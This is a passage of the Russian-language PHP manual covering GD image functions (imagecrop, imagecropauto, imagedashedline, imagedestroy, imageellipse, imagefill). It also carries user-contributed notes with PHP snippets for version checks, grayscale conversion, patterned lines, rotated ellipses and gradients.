I discovered when installing GD 2+ that ImageCreate() doesn't work well with JPEGS, it makes a true colour JPEG into a 16 colour mess when combining ImageCreateFromJPEG(). If you have GD 2+ you must use ImageCreateTrueColor() for things like thumbnails, etc.
billet_jerome at yahoo dot fr 14-Jan-2003 05:26
Because imagecreatetruecolor exist both in gd and gd2,
you can't use function_exists or get_extension_funcs to check for gd2 !
But ... there is a difference in imagettfbbox between gd and gd2:
gd use pixels and gd2 use points.

Then you can check gd2 with this function:

function sysB_chkgd2()
{

$rep=false;
if(isset($GLOBALS["gBGDVersion"]))
    {
    $rep=$GLOBALS["gBGDVersion"];
    }
else
    {
    if(function_exists("gd_info"))
       {
       $gdver=gd_info();
       if(strstr($gdver["GD Version"],"1.")!=false)
          {
          $rep=false;
          }
       else
           {
           $rep=true;
           }
       }
    else
        {
        $size=40;
        $font= your font file path here;
        $b=imagettfbbox ($size,0,$font,"abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ");

        if(($size+1)<abs($b[5]-$b[3]))
           {
           $rep=true;
           }

         }
    $GLOBALS["gBGDVersion"]=$rep;
    }

return $rep;
}
aaron at aaron-wright dot com 25-Sep-2002 02:49
Actually GD <2.0 had imagecreattruecolor, it just didn't work :P

This is a better test:

function chkgd2(){
  $testGD = get_extension_funcs("gd"); // Grab function list
  if (!$testGD){ echo "GD not even installed."; exit; }
  if (in_array ("imagegd2",$testGD)) $gd_version = "<2"; // Check
  if ($gd_version == "<2") return false; else return true;
}

if (chkgd2()) echo "<h1>GD2+ is installed.</h1>"; // Test for GD2
else echo "<h1>GD2+ is not installed.</h1>";
php at REMOVEreallynicejerk dot com 15-Sep-2002 04:01
Why not just use function_exists?

http://www.php.net/function_exists

Just because they have version 2.0 GD doesn't mean that they haven't disabled that function.

Also instead of determining which one you have on your machine and then writing setup specific code, you can write a universal code usable on either setups.

::pseudo code::

if (function_exists(imagecreatetruecolor)){
use imagecreatetruecolor()
}else{
use imagecreate()
}
brad at brwebdesign dot com 25-May-2002 02:26
I came up with this today.  You need GD2.0 or greater to use imagecreatetruecolor so you can parse phpinfo to get the needed information.  this will have to go at the very top of the page with no whitespace above it

<?php
ob_start();
phpinfo(8);
$phpinfo=ob_get_contents();
ob_end_clean();
$phpinfo=strip_tags($phpinfo);
$phpinfo=stristr($phpinfo,"gd version");
$phpinfo=stristr($phpinfo,"version");
$end=strpos($phpinfo," ");
$phpinfo=substr($phpinfo,0,$end);
$phpinfo=substr($phpinfo,7);
if(version_compare("2.0", "$phpinfo")==1)
echo "you have a version less then 2";
?>

The if statement is for PHP 4.1 or greater, but you can use other methods of comparing the version numbers if the server you are on do not have that version of php
pmas7354 at artax dot karlin dot mff dot cuni dot cz 26-Feb-2002 05:40
Here is answer for first question 'why do I need true color images'.

True color images you need when you want to work with images such as photos (snapshots), video frames and so on.

When you need to combine some these images for user, or to send him only small part of your image, and you try to use 256 colors, image will be ugly (try it if you want). Some colors will change dramatically.

"Antialias" lines which you may see are probably the result of using JPEG compression. JPEG is not looseless compression so "small image details may be changed" in order to reduce image size dramatically. On really true-color images such as your snapshots of landscape and so on and using small compression level you will hardly see differences. But on exact objects, such as lines, circles, which you draw on solid background using single color, you can see that if you save and load this image that some details are changed.
rossa at studioware dot net 23-Jan-2002 07:38
function ConvertGreyscale($image){
# this file outputs a grey version of specified image

  $total = ImageColorsTotal($image);
  for( $i=0; $i<$total; $i++){
     $old = ImageColorsForIndex($image, $i);

     #trying to keep proper saturation when converting
     $commongrey = (int)(($old[red] + $old[green] + $old[blue]) / 3);

     ImageColorSet($image, $i, $commongrey, $commongrey, $commongrey);
  }
}
eric at spiderws dot com 12-Aug-2001 10:45
This little function does it for you:

<?
$image_id = imageCreateFromJPEG($image);
for($a=0;$a<imagecolorstotal ($image_id);$a++)
        {
            $color = ImageColorsForIndex($image_id,$i);
            $R=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
            $G=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
            $B=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
            ImageColorSet($image_id, $a, $R, $G, $B);
        }
imageJPEG($image_id,"$image");
?>

The .299 , .578 , .114 values are estimations, and add a gamma correction to the colors. For more or less luminace in the result, you can change these values.

Goodluck,
Eric Mulders, Netherlands


Обрезать изображение до заданного прямоугольника

  • « imagecreatetruecolor
  • imagecropauto »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Обрезать изображение до заданного прямоугольника

imagecrop

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imagecrop — Обрезать изображение до заданного прямоугольника

Описание

imagecrop(GdImage $image, array $rectangle): GdImage|false

Обрезает изображение до заданной прямоугольной области и возвращает полученное изображение. Заданный параметр image не изменяется.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

rectangle

Обрезанный прямоугольник в виде массива (array) с ключами x, y, width и height.

Возвращаемые значения

Возвращает объект обрезанного изображения в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).
8.0.0 | В случае успешного выполнения функция теперь возвращает экземпляр GDImage; ранее возвращался ресурс (resource).

Примеры

Пример #1 Пример использования imagecrop()

В этом примере показано, как обрезать изображение до квадратной области.

<?php
$im = imagecreatefrompng('example.png');
$size = min(imagesx($im), imagesy($im));
$im2 = imagecrop($im, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
if ($im2 !== FALSE) {
imagepng($im2, 'example-cropped.png');
imagedestroy($im2);
}
imagedestroy($im);
?>

Смотрите также

  • imagecropauto() - Обрезает изображение автоматически, используя один из доступных режимов

User Contributed Notes

There are no user contributed notes for this page.


Обрезает изображение автоматически, используя один из доступных режимов

  • « imagecrop
  • imagedashedline »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Обрезает изображение автоматически, используя один из доступных режимов

imagecropauto

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imagecropauto — Обрезает изображение автоматически, используя один из доступных режимов

Описание

imagecropauto(
GdImage $image,
int $mode = IMG_CROP_DEFAULT,
float $threshold = 0.5,
int $color = -1
): GdImage|false

Автоматически обрезает изображение в соответствии с заданным mode.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

mode

Одна из следующих констант:

IMG_CROP_DEFAULT
То же, что и IMG_CROP_TRANSPARENT. До PHP 7.4.0, связанный libgd использовал IMG_CROP_SIDES, если изображение не имело прозрачного цвета.
IMG_CROP_TRANSPARENT
Обрезает прозрачный фон.
IMG_CROP_BLACK
Обрезает чёрный фон.
IMG_CROP_WHITE
Обрезает белый фон.
IMG_CROP_SIDES
Использует 4 угла изображения, чтобы попытаться обнаружить фон для обрезки.
IMG_CROP_THRESHOLD
Обрезает изображение, используя заданные threshold и color.
threshold

Определяет допуск в процентах, который будет использоваться при сравнении цвета изображения и цвета обрезки. Метод, используемый для расчёта цветовой разницы, основан на цветовом расстоянии в кубе RGB(a).

Используется только в режиме IMG_CROP_THRESHOLD.

Замечание: До PHP 7.4.0 в комплекте libgd использовался несколько иной алгоритм, поэтому один и тот же threshold давал разные результаты для системного и связанного libgd.

color

Либо значение цвета RGB, либо индекс палитры.

Используется только в режиме IMG_CROP_THRESHOLD.

Возвращаемые значения

Возвращает объект обрезанного изображения в случае успешного выполнения или false в случае возникновения ошибки. Если полное изображение было обрезано, imagecrop() возвращает false.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).
8.0.0 | В случае успешного выполнения функция теперь возвращает объект GDImage; ранее возвращался ресурс (resource).
7.4.0 | Поведение imagecropauto() в комплекте libgd синхронизировано с системным libgd: IMG_CROP_DEFAULT больше не использует IMG_CROP_SIDES, и для обрезки порога теперь используется тот же алгоритм, что и системным libgd.
7.4.0 | Значение по умолчанию mode было изменено на IMG_CROP_AUTO. Ранее значение по умолчанию было -1, что соответствует IMG_CROP_DEFAULT, но передача -1 теперь устарела.

Примеры

Пример #1 Правильная обработка автообрезки

Как отмечено в разделе возвращаемого значения, imagecropauto() возвращает false, если все изображение было обрезано. В этом примере у нас есть ресурс изображения $im, который должен быть автоматически обрезан, только если есть что обрезать; в противном случае мы хотим перейти к исходному изображению.

<?php
$cropped = imagecropauto($im, IMG_CROP_DEFAULT);
if ($cropped !== false) { // в случае возврата нового объекта изображения
imagedestroy($im); // мы уничтожаем исходное изображение
$im = $cropped; // и назначаем обрезанное изображение в $im
}
?>

Смотрите также

  • imagecrop() - Обрезать изображение до заданного прямоугольника

User Contributed Notes

pj dot mueller at protonmail dot ch 06-Apr-2022 06:21
I don't know why you can't set the threshold for the four sides filter (IMG_CROP_SIDES) so here's how to do it manually using the IMG_CROP_THRESHOLD filter instead.

$threshold = .5;

$im = imagecreatefromjpeg('somefile.jpg');

$width = imagesx($im);
$height = imagesy($im);

$arr = [
    [0,0],
    [$width-1,0],
    [0,$height-1],
    [$width-1,$height-1],
];

$red = 0;
$green = 0;
$blue = 0;

// grab the colours from all four corners
foreach( $arr as $arr2 ) {
    $thisColor = imagecolorat($im, $arr2[0], $arr2[1]);

    $rgb = imagecolorsforindex($im, $thisColor);
    $red += round(round(($rgb['red'] / 0x33)) * 0x33);
    $green += round(round(($rgb['green'] / 0x33)) * 0x33);
    $blue += round(round(($rgb['blue'] / 0x33)) * 0x33);
}

// and average them
$red /= 4;
$green /= 4;
$blue /= 4;

$newColor = imagecolorallocate($im, $red, $green, $blue);

$cropped = imagecropauto($im, IMG_CROP_THRESHOLD, $threshold, $newColor);

imagejpg($cropped, 'somefile.cropped.jpg');

imagedestroy($im);
imagedestroy($cropped);
raphael.deiana 18-Jul-2016 11:49
In some cases the use of the IMG_CROP_WHITE or IMG_CROP_BLACK does not work. The function returns FALSE. It is best to use the IMG_CROP_THRESHOLD mode and specify the color in fourth argument as in the example below :

<?php

$original_img = imagecreatefromjpeg($image_path);

// Use this :
$cropped_img_white = imagecropauto($original_img , IMG_CROP_THRESHOLD, null, 16777215);
// Rather than :
$cropped_img_white = imagecropauto($original_img , IMG_CROP_WHITE);

// AND

// Use this :
$cropped_img_black = imagecropauto($original_img , IMG_CROP_THRESHOLD, null, 0);
// Rather than :
$cropped_img_black = imagecropauto($original_img , IMG_CROP_BLACK);

?>


Рисование пунктирной линии

  • « imagecropauto
  • imagedestroy »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Рисование пунктирной линии

imagedashedline

(PHP 4, PHP 5, PHP 7, PHP 8)

imagedashedline — Рисование пунктирной линии

Описание

imagedashedline(
GdImage $image,
int $x1,
int $y1,
int $x2,
int $y2,
int $color
): bool

Функция устарела. Используйте сочетание функций imagesetstyle() и imageline().

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

x1

Верхняя левая x-координата.

y1

Верхняя левая y-координата. 0, 0 - верхний левый угол изображения.

x2

Нижняя правая х-координата.

y2

Нижняя правая у-координата.

color

Цвет линии. Идентификатор цвета, созданный функцией imagecolorallocate().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagedashedline()

<?php
// Создание изображения 100x100
$im = imagecreatetruecolor(100, 100);
$white = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);

// Рисование вертикальной пунктирной линии
imagedashedline($im, 50, 25, 50, 75, $white);

// Сохранение изображения
imagepng($im, './dashedline.png');
imagedestroy($im);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: imagedashedline()

Пример #2 Альтернатива функции imagedashedline()

<?php
// Создание изображения 100x100
$im = imagecreatetruecolor(100, 100);
$white = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);

// Определение стиля: Первые 4 пиксела белые, следующие 4 - прозрачные.
// Это создаёт эффект пунктира.
$style = Array(
$white,
$white,
$white,
$white,
IMG_COLOR_TRANSPARENT,
IMG_COLOR_TRANSPARENT,
IMG_COLOR_TRANSPARENT,
IMG_COLOR_TRANSPARENT
);

imagesetstyle($im, $style);

// Рисование пунктирной линии
imageline($im, 50, 25, 50, 75, IMG_COLOR_STYLED);

// Сохранение изображения
imagepng($im, './imageline.png');
imagedestroy($im);
?>

Смотрите также

  • imagesetstyle() - Установка стиля рисования линий
  • imageline() - Рисование линии

User Contributed Notes

ihsanduvac at gmail dot com 17-Aug-2012 06:45
It doesn't work for horizontal lines. Use imagesetstyle()
tgabor72 at freemail dot hu 17-Aug-2010 11:50
You can use the imagepatternedline() function with extra features instead of imagedashedline() to give a visible dashedlines and other any kind of patterned lines on your images. The routine also manages the thickness of the line. Have fun!

<?php
// imagepatternedline() function
// Routine was developed to draw any kind of straight line with thickness. Routine uses imageline() function to draw line.
// Parameters are (similar to imageline() function):
//   $image: (resource) imagefile
//   $xstart, $ystart: (int) x,y coordinates for first point
//   $xend, $yend: (int) x,y coordinates for last point
//   $color: (int) color identifier that created with imagecolorallocate()
// extra parameters:
//   $thickness: (int) thickness of line in pixel
//   $pattern: (string) pattern of line, which repeats continuously while line is being drawed.
//   If there is '1' in the pattern that means the actual dot of line is visible,
//   '0' means dot is not visible (space between two line elements).
//   All characters regard for one pixel. Default: 1 dot wide dashed line with 4-4 dots and spaces.
// Examples for pattern:
// "1" or "" continuous line
// "10" close dotline
// "10000" dotline
// "111111110000001100000011111111" dotline for design drawing
// "111111111100000011000000110000001111111111" double dotline
// some examples for using imagepatternedline():
// imagepatternedline($image,300,300,442,442,$color,200,""); // a square with 200 length of edge and rotated 45 degrees
// imagepatternedline($image,100,200,289,200,$color,100,
//  "11001100000011001111000011001111110000001100001100"
// ."00001111001100111100000011000000110000110011001100"
// ."11000011111100111111000011001111001111000011110000"
// ."1111001111110011000011000000001100110011"); // barcode

function imagepatternedline($image, $xstart, $ystart, $xend, $yend, $color, $thickness=1, $pattern="11000011") {
   $pattern=(!strlen($pattern)) ? "1" : $pattern;
   $x=$xend-$xstart;
   $y=$yend-$ystart;
   $length=floor(sqrt(pow(($x),2)+pow(($y),2)));
   $fullpattern=$pattern;
   while (strlen($fullpattern)<$length) $fullpattern.=$pattern;
   if (!$length) {
      if ($fullpattern[0]) imagefilledellipse($image, $xstart, $ystart, $thickness, $thickness, $color);
      return;
   }
   $x1=$xstart;
   $y1=$ystart;
   $x2=$x1;
   $y2=$y1;
   $mx=$x/$length;
   $my=$y/$length;
   $line="";
   for($i=0;$i<$length;$i++){
      if (strlen($line)==0 or $fullpattern[$i]==$line[0]) {
         $line.=$fullpattern[$i];
      }else{
         $x2+=strlen($line)*$mx;
         $y2+=strlen($line)*$my;
         if ($line[0]) imageline($image, round($x1), round($y1), round($x2-$mx), round($y2-$my), $color);
         $k=1;
         for($j=0;$j<$thickness-1;$j++) {
            $k1=-(($k-0.5)*$my)*(floor($j*0.5)+1)*2;
            $k2= (($k-0.5)*$mx)*(floor($j*0.5)+1)*2;
            $k=1-$k;
            if ($line[0]) {
               imageline($image, round($x1)+$k1, round($y1)+$k2, round($x2-$mx)+$k1, round($y2-$my)+$k2, $color);
               if ($y) imageline($image, round($x1)+$k1+1, round($y1)+$k2, round($x2-$mx)+$k1+1, round($y2-$my)+$k2, $color);
               if ($x) imageline($image, round($x1)+$k1, round($y1)+$k2+1, round($x2-$mx)+$k1, round($y2-$my)+$k2+1, $color);
            }
         }
         $x1=$x2;
         $y1=$y2;
         $line=$fullpattern[$i];
      }
   }
   $x2+=strlen($line)*$mx;
   $y2+=strlen($line)*$my;
   if ($line[0]) imageline($image, round($x1), round($y1), round($xend), round($yend), $color);
   $k=1;
   for($j=0;$j<$thickness-1;$j++) {
      $k1=-(($k-0.5)*$my)*(floor($j*0.5)+1)*2;
      $k2= (($k-0.5)*$mx)*(floor($j*0.5)+1)*2;
      $k=1-$k;
      if ($line[0]) {
         imageline($image, round($x1)+$k1, round($y1)+$k2, round($xend)+$k1, round($yend)+$k2, $color);
         if ($y) imageline($image, round($x1)+$k1+1, round($y1)+$k2, round($xend)+$k1+1, round($yend)+$k2, $color);
         if ($x) imageline($image, round($x1)+$k1, round($y1)+$k2+1, round($xend)+$k1, round($yend)+$k2+1, $color);
      }
   }
}
?>
ProfessorNeo at gmx dot de 16-Feb-2006 12:07
The bug reported by 'michi at marel dot at' also exists in PHP version 5.1.1. This functions just works with vertical lines!
alien-scripts.de 13-Jul-2005 02:17
I make my own dashedline:

<?
for($l=50;$l<=550;$l+=5)
   {
    if($da == 0) { $da = 1; }
    elseif($da == 1){
    imageline($bild,$l,50,$l+5,50,$green);
    $da = 0; }
   }
?>

$l is the x-value
and we have a dashed line :)
michi at marel dot at 19-Nov-2003 06:49
There's a bug till PHP 4.0.4 in this function. You can only draw vertical dashed lines. To draw other dashed lines you can set <ImageSetStyle> to a special dashed line and draw it by <ImageLine>.

Sample code:
<?php
function MDashedLine($image, $x0, $y0, $x1, $y1, $fg, $bg)
{
        $st = array($fg, $fg, $fg, $fg, $bg, $bg, $bg, $bg);
        ImageSetStyle($image, $st);
        ImageLine($image, $x0, $y0, $x1, $y1, IMG_COLOR_STYLED);
}
?>


Уничтожение изображения

  • « imagedashedline
  • imageellipse »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Уничтожение изображения

imagedestroy

(PHP 4, PHP 5, PHP 7, PHP 8)

imagedestroy — Уничтожение изображения

Описание

imagedestroy(GdImage $image): bool

Замечание:

Использование функции больше не имеет смысла. До PHP 8.0.0 она использовалась для закрытия ресурса.

До PHP 8.0.0, imagedestroy() освобождает память, занятую изображением image.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Функция теперь является NOP.
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagedestroy() до PHP 8.0.0

<?php
// Создание изображения 100 x 100
$im = imagecreatetruecolor(100, 100);

// изменение или сохранение изображения

// освобождение памяти
imagedestroy($im);
?>

User Contributed Notes

devel at kijote dot com dot ar 03-Jan-2020 01:16
Important note: When the imagedestroy is called, the resource is freed but the printed resource output is the same as before calling the function:

<?php

  $img = imagecreate(1, 1);

  print_r([$img, $img ? 'TRUE': 'FALSE', is_resource($img) ? 'TRUE' : 'FALSE', get_resource_type($img) ?: 'FALSE']);

  /*
  Result:
  Array
  (
    [0] => Resource id #1
    [1] => TRUE
    [2] => TRUE
    [3] => gd

  )
  */

  imagedestroy($img);

  print_r([$img, $img ? 'TRUE': 'FALSE', is_resource($img) ? 'TRUE' : 'FALSE', get_resource_type($img) ?: 'FALSE']);

  /*
  Result:
  Array
  (
    [0] => Resource id #1
    [1] => TRUE
    [2] => FALSE
    [3] => Unknown
  )
  */
?>

As you can see in the above example, the first index in array is TRUE in both cases. So, despite the common thinking you can't trust in something like:

<?php

  if ($img)  {  // it's casted as boolean and returns true even after imagedestroy is called
     // do something
  }

?>

If you need to ensure the availability of a certain resource, you must to use is_resource and get_resource_type functions.
Claude D. 19-Nov-2015 02:35
Caution should be observed with imagedestroy(); copying your reference variable over to another variable will cause imagedestroy to destroy both at once.

Eg.:

$a = imagecreate(...);
$b = $a;
imagedestroy($a);

While you'd think $b still contains your image, it doesn't. Both $a and $b are destroyed.
corpus-deus at softhome dot net 12-Feb-2010 06:33
In theory creating an image object and calling imagedestroy in your destructor should be a good way of doing it; something like:

<?php
final class My_Image() {

  private $img;

  public function __construct() {
    $this->img = imagecreatetruecolor();
    // ... other stuff ...
  }

  public function __destruct() {
    if(is_resource($this->img)) {
      imagedestroy($this->img);
    }
  }

  // ... other methods...

}
?>

I check that $this->img is a resource in case imagecreatetruecolor() fails or you null the value somewhere down the line from a method call meaning that $this->img is NOT a resource, in which case imagedestroy is an unecessary function call that just fails with a warning message.
webmaster at codefisher dot org 05-Oct-2007 10:26
And to continue what Docey said, if php did not destroy all resources when the script stopped it would be a huge memory leak and everyone would be crying out for it to be fixed right away.

I have been using this function during a script that was breaking an image made of many little icons into the little parts, which could mean 400+ images in the one script, which was using a lot of memory so I needed to destroy them.
Docey 20-Oct-2006 10:59
When the script stop PHP will automatic destory ANY
resources, this goes for aswell for images, thus in the
case the use clicks the stop button, php will automatic
clear the resource.

thus imagedestroy is used to clear the memory BEFORE
the script ends. this is usefull to keep memory usage
DURING the script to an acceptable level.

hope this clear somethings up.
Andrew Hoffmann - ahoffmann at wisc dot edu 23-Jun-2005 07:25
When working with a lot of high-resolution images, it's IMPERATIVE that you use the imagedestroy() function.

In my scenario, I was taking two high resolution desktop wallpapers and shrinking them down into successively smaller ones (preventing the user from having to upload a dozen files).

At first, my script would run, then just stop.  I realized later that I had not destroyed the source image and the newly resized image in memory after I had finished writing the file out to disk.  Thus, I quickly reached the memory limit that my hosting provider placed in their php.ini file.

Reusing an image variable does NOT clear the old data out of memory!  You must use imagedestroy() to clear the data out.  (I don't know if unset() works as well).

Also note that the image data in memory is raw, so don't base how much memory you are using based on the original filesize of the compressed image (such as jpeg or png).
dan at mlodecki dot net 04-Mar-2004 04:42
I have noticed that gd drawing functions can behave oddly if there is a previous image which has not been imagedestroy()'ed.  You should always imagedestroy when you are done with an image object.


Рисование эллипса

  • « imagedestroy
  • imagefill »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Рисование эллипса

imageellipse

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imageellipse — Рисование эллипса

Описание

imageellipse(
GdImage $image,
int $center_x,
int $center_y,
int $width,
int $height,
int $color
): bool

Рисует эллипс с центром в заданных координатах.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

center_x

x-координата центра.

center_y

y-координата центра.

width

Ширина эллипса.

height

Высота эллипса.

color

Цвет эллипса. Идентификатор цвета, созданный функцией imagecolorallocate().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imageellipse()

<?php

// Создание пустого изображения.
$image = imagecreatetruecolor(400, 300);

// Выбор цвета фона.
$bg = imagecolorallocate($image, 0, 0, 0);

// Закрашивание фона выбранным цветом.
imagefill($image, 0, 0, $bg);

// Выбор цвета эллипса.
$col_ellipse = imagecolorallocate($image, 255, 255, 255);

// Рисование эллипса.
imageellipse($image, 200, 150, 300, 200, $col_ellipse);

// Вывод изображения.
header("Content-type: image/png");
imagepng($image);

?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: imageellipse()

Примечания

Замечание:

imageellipse() игнорирует imagesetthickness().

Смотрите также

  • imagefilledellipse() - Рисование закрашенного эллипса
  • imagearc() - Рисование дуги

User Contributed Notes

simon_nuttall at hotmail dot com 07-Jun-2006 01:36
This is an optimised and bug fixed version of nojer at yahoo dot com's rotatedellipse function. I've changed it so that the arguments are compatible with imageellipse. See notes on imagearc for original version.

<?php

function rotatedellipse($im, $cx, $cy, $width, $height, $rotateangle, $colour, $filled=false) {
  // modified here from nojer's version
  // Rotates from the three o-clock position clockwise with increasing angle.
  // Arguments are compatible with imageellipse.

  $width=$width/2;
  $height=$height/2;

  // This affects how coarse the ellipse is drawn.
  $step=3;

  $cosangle=cos(deg2rad($rotateangle));
  $sinangle=sin(deg2rad($rotateangle));

  // $px and $py are initialised to values corresponding to $angle=0.
  $px=$width * $cosangle;
  $py=$width * $sinangle;

  for ($angle=$step; $angle<=(180+$step); $angle+=$step) {

    $ox = $width * cos(deg2rad($angle));
    $oy = $height * sin(deg2rad($angle));

    $x = ($ox * $cosangle) - ($oy * $sinangle);
    $y = ($ox * $sinangle) + ($oy * $cosangle);

    if ($filled) {
      triangle($im, $cx, $cy, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
      triangle($im, $cx, $cy, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
    } else {
      imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
      imageline($im, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
    }
    $px=$x;
    $py=$y;
  }
}

function triangle($im, $x1,$y1, $x2,$y2, $x3,$y3, $colour) {
   $coords = array($x1,$y1, $x2,$y2, $x3,$y3);
   imagefilledpolygon($im, $coords, 3, $colour);
}

?>
julian 16-Jan-2005 06:23
if you want to display an ellipse in the upper left corner of an image, you can easily calculate the corresponding cx and cy values. this example will draw an ellipse having the same width and height as the image.

<?php

$ellipse_width = 100;
$ellipse_height = 200;

$ellipse_cx = ($ellipse_width / 2);
$ellipse_cy = ($ellipse_height / 2);

$img_x = $ellipse_width;
$img_y = $ellipse_height;

$img = imagecreate($img_x, $img_y);
$bg = imagecolorallocate($img, 255,255,255);

$ellipse_color = imagecolorallocate($img, 0, 0, 0);

imageellipse($img, $ellipse_cx, $ellipse_cy, $ellipse_width, $ellipse_height, $ellipse_color);

header("Content-type: image/png");
imagepng($img);
imagedestroy($img);

?>
agentyoungsoo at hanmail dot net 04-Dec-2002 08:56
When you wana use "ImageEllipse" function
in under GD 2.0.2 version, you can use "ImageArc" like bellow

----------------------------------------------------
$file_name = "test.png";

$screen_x = 300;
$screen_y = 200;

$x1 = $screen_x / 2;
$y1 = $screen_y / 2;

$radius = 30;

$image = ImageCreate($screen_x, $screen_y);
$black = ImageColorAllocate($image, 0,0,0);

ImageArc($image, $x1, $y1, $radius , $radius , 0, 360, $black);

ImagePng($image, $file_name);
ImageDestroy($image);
----------------------------------------------------


Заливка

  • « imageellipse
  • imagefilledarc »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Заливка

imagefill

(PHP 4, PHP 5, PHP 7, PHP 8)

imagefill — Заливка

Описание

imagefill(
GdImage $image,
int $x,
int $y,
int $color
): bool

Производит заливку, начиная с заданных координат (верхний левый угол имеет координаты 0, 0), цветом color в изображении image.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

x

x-координата начала.

y

y-координата начала.

color

Цвет заливки. Идентификатор цвета, созданный функцией imagecolorallocate().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagefill()

<?php

$im = imagecreatetruecolor(100, 100);

// установка красного фона
$red = imagecolorallocate($im, 255, 0, 0);
imagefill($im, 0, 0, $red);

header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: imagefill()

Смотрите также

  • imagecolorallocate() - Создание цвета для изображения

User Contributed Notes

oleh at it dot wihola dot com 24-Aug-2017 08:45
is there any point to use $x and $y coordinates? They doesn't affect an output in any way. I can no make rectangular half filled with color. These params are useless.
George Edison 27-Sep-2012 11:19
Creating a new true-color image, filling it with a transparent color, and saving it as a PNG image can be accomplished with the following:

<?php

$new   = imagecreatetruecolor(320, 320);
$color = imagecolorallocatealpha($new, 0, 0, 0, 127);
imagefill($new, 0, 0, $color);
imagesavealpha($new, TRUE); // it took me a good 10 minutes to figure this part out
imagepng($new);

?>

The image needs to be created with imagecreatetruecolor(), you must use imagefill() instead of imagefilledrectange(), and you need to call imagesavealpha(). No other combination of functions calls seems to produce the intended results.
Christopher Kramer 06-Oct-2009 03:00
Here is a function to generate a gradient.
You specify width, heigth and 4 colors (of the 4 corners).

An image handle of the gradient image will be returned.
You can copy the returned image onto another image using imageecopy.
This can be helpful if you want to generate a shadow for example.
("Glow effect example": Generate 8 gradients, one for each side and one for each corner. The outer side of the gradients have the background color and the inner sides have a bright color such as white.)

But beware: This function is not optimized for performance, it might become slow on big images. For shadows, better cache the generated gradients.

Note: For gradients, using true-color is highly recommended.

<?php

function gradient($w=100, $h=100, $c=array('#FFFFFF','#FF0000','#00FF00','#0000FF'), $hex=true) {

 /*
 Generates a gradient image

 Author: Christopher Kramer

 Parameters:
 w: width in px
 h: height in px
 c: color-array with 4 elements:
    $c[0]:   top left color
    $c[1]:   top right color
    $c[2]:   bottom left color
    $c[3]:   bottom right color

 if $hex is true (default), colors are hex-strings like '#FFFFFF' (NOT '#FFF')
 if $hex is false, a color is an array of 3 elements which are the rgb-values, e.g.:
 $c[0]=array(0,255,255);

 */

 $im=imagecreatetruecolor($w,$h);

 if($hex) {  // convert hex-values to rgb
  for($i=0;$i<=3;$i++) {
   $c[$i]=hex2rgb($c[$i]);
  }
 }

 $rgb=$c[0]; // start with top left color
 for($x=0;$x<=$w;$x++) { // loop columns
  for($y=0;$y<=$h;$y++) { // loop rows
   // set pixel color
   $col=imagecolorallocate($im,$rgb[0],$rgb[1],$rgb[2]);
   imagesetpixel($im,$x-1,$y-1,$col);
   // calculate new color
   for($i=0;$i<=2;$i++) {
    $rgb[$i]=
      $c[0][$i]*(($w-$x)*($h-$y)/($w*$h)) +
      $c[1][$i]*($x     *($h-$y)/($w*$h)) +
      $c[2][$i]*(($w-$x)*$y     /($w*$h)) +
      $c[3][$i]*($x     *$y     /($w*$h));
   }
  }
 }
 return $im;
}

function hex2rgb($hex)
 {
 $rgb[0]=hexdec(substr($hex,1,2));
 $rgb[1]=hexdec(substr($hex,3,2));
 $rgb[2]=hexdec(substr($hex,5,2));
 return($rgb);
 }

// usage example

